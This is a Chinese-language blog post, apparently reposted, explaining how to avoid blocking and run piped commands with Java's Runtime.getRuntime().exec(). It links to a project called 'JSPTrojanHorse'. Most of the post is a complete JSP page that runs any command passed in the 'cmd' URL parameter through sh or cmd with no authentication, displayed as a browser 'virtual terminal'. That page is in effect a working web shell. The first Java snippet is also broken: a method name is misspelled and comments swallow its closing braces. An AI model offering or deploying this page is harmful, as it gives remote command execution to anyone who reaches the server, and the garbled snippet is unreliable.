Runtime.getRuntime().exec()執行阻塞和不能執行管道命令的問題


Runtime.getRuntime().exec()執行阻塞和不能執行管道命令的問題

項目文件地址:https://github.com/muphy1112/JSPTrojanHorse/blob/main/Runtime.getRuntime.exec.example.jsp

1.不能執行管道命令的處理方式:

windows平台使用 Runtime.getRuntime().exec(new String[]{"cmd", "/k", "cmd str"});

linux平台使用 Runtime.getRuntime().exec(new String[]{"sh", "-c", "cmd str"});

下面是Process類的完整例子:

String[] cmds = new String[]{"sh", "-c", "cmd str"};
if (System.getProperty("os.name").toLowerCase().contains("windows")) {
    cmds = new String[]{"cmd", "/k", "cmd str"};
}
Process ps = null;
try {
    ps = Runtime.getRuntime().exec(cmds);           
    doInputProcess(ps.getIntputStream());
    doErrorProcess(ps.getErrorStream());
    doOutProcess(ps.getOutputStream());
  // System.out.println("start."); ps.waitFor();
  // System.out.println("done."); }
catch (Exception e) { // } finally{ try { if(ps != null)
        ps.destroy(); }
catch (Exception ec) { // } }

2.執行阻塞問題

必須要同時處理完輸入流process.getInputStream()和輸出流process.getOutputStream(),錯誤流process.getErrorStream()可以不用考慮,並且每個流都需要工作在不同的線程,否則上例中的ps.waitFor();后面的語句永遠不會被執行!

我們可以把上例寫個JSP web項目驗證一下

新建index.jsp文件放在share項目下,代碼如下:

<%@page import="java.io.*" contentType="text/html; charset=UTF-8" %>
<%@page import="java.lang.StringBuilder" contentType="text/html; charset=UTF-8" %>
<!DOCTYPE html>
<html>
  <head>
    <title>Runtime.getRuntime().exec()</title>
  </head>
  
  <body>

<%!
    void inputProcess(final InputStream in, final JspWriter out, String name){
        //必須是新線程
        new Thread(new Runnable() {
            @Override
            public void run() {
                if(in == null) return;
                try {
                    int a = -1;
                    byte[] b = new byte[2048];
                    while ((a = in.read(b)) != -1) {
                        out.println(new String(b));
                    }
                } catch (Exception e) {                  
                    
                } finally{
                    try {
                        if(in != null ) in.close();
                    } catch (Exception ec) { 
                        
                    }     
                }
            }
        }, name).start();
    }

    void doInputProcess(InputStream in, JspWriter out){
        inputProcess(in, out, "inputProcess");
    }

    void doErrorProcess(InputStream in, JspWriter out){
        inputProcess(in, out, "errProcess");
    }

    void doOutputProcess(OutputStream out){
        try {
            out.close();//直接關閉流
        } catch (Exception ec) { 
            
        }
    }

%>
<% 
    String cmd = request.getParameter("cmd");
    if(cmd != null && !"".equals(cmd)){
        String[] cmds = new String[]{"sh", "-c", cmd};
        if (System.getProperty("os.name").toLowerCase().contains("windows")) {
            cmds = new String[]{"cmd", "/k", cmd};
        }
        Process ps = null;
        try {
            ps = Runtime.getRuntime().exec(cmds);   
            out.println("start.");
            out.println("<pre>");        
            doInputProcess(ps.getInputStream(), out);
            doErrorProcess(ps.getErrorStream(), out);
            doOutputProcess(ps.getOutputStream());
            ps.waitFor();
            out.println("</pre>");
            out.println("done.");
        } catch (Exception e) {                  
            out.println("err.");
        } finally{
            try {
                if(ps != null) ps.destroy();
            } catch (Exception ec) { 
                
            }     
        }
        return;
    }
    if("true".equals(request.getParameter("c"))){
        return;
    }
    out.println("<div style='margin: 20px'>虛擬終端:<input id='command' type='text' value='netstat -an' style='width: 250px;border: none;color: red;background-color: black;'/>"
        + "<a style='color: blue' onclick=\"var m= top.document.getElementById('command').value;if(!m) return false; top.document.getElementById('view-file').setAttribute('src', './index.jsp?cmd=' + encodeURIComponent(m));\" href=\"#\">執行</a>"
        + "</div>");
    out.println("<div style='margin-top: 20px; padding: 5px; height: 500px'>"
        + "<iframe id='view-file' src='./index.jsp?c=true' height='100%' style='width: 100%; height: 100%' frameborder='0'></iframe>"
        + "</div>");
%>
  </body>
</html>

 

 

瀏覽器訪問當前JSP文件,輸入網址:http://localhost:8080/share/index.jsp

 

正常執行上面的index.jsp腳本,輸入一個命令ipa,服務器相應了200,說明后台沒被阻塞

 

 

 

 

當我們將index.jsp中標紅的“doOutputProcess(ps.getOutputStream());”這行代碼注釋掉之后,在執行同一個命令,會發現請求一直處於阻塞狀態,done.也沒有被打印下來 

 

 

 

 

 

 總結此問題,要想Runtime.getRuntime().exec()這個進程正常退出,不被阻塞,需要配合多個線程,並至少關閉ps.getInputStream()和ps.getOutputStream()兩個輸入輸出流

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM